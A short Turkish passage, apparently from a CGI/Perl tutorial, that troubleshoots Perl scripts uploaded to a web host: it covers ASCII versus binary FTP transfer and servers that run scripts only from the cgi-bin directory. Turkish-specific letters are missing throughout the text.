etmek istediiniz dosyann dz yaz dosyas m, yoksa grafik-ses-multimedya veya program
dosyas m olduunu anlayp, uygun transfer yntemini kullanabilirler. Perl programlar dz
yaz dosyalar olduu iin FTp programlar bunlar ASCII transfer yntemiyle gnderirler.
Ancak siz kullanc olarak FTP programn yanllkla sadece binary yntemini kullanmaya
zorlam olabilirsiniz. Kontrol etmeniz gereken ikinci nokta, FTP programnzn hangi
yntemle transfer yapt olmaldr.
Baz Web Server programlar, gvenlik kaygsyla sadece cgi-bin dizinindeki Perl
programlarn altrmak zere ayarlanabilir. Sitenizin evsahibininin byle bir zorunluk
getirip getirmediini aratrmalsnz; ve byle bir zorunluk varsa, btn Perl
programlarnz cgi-bin dizinine koymalsnz.
W/O: 179586
CGI / Perl 113

You might also like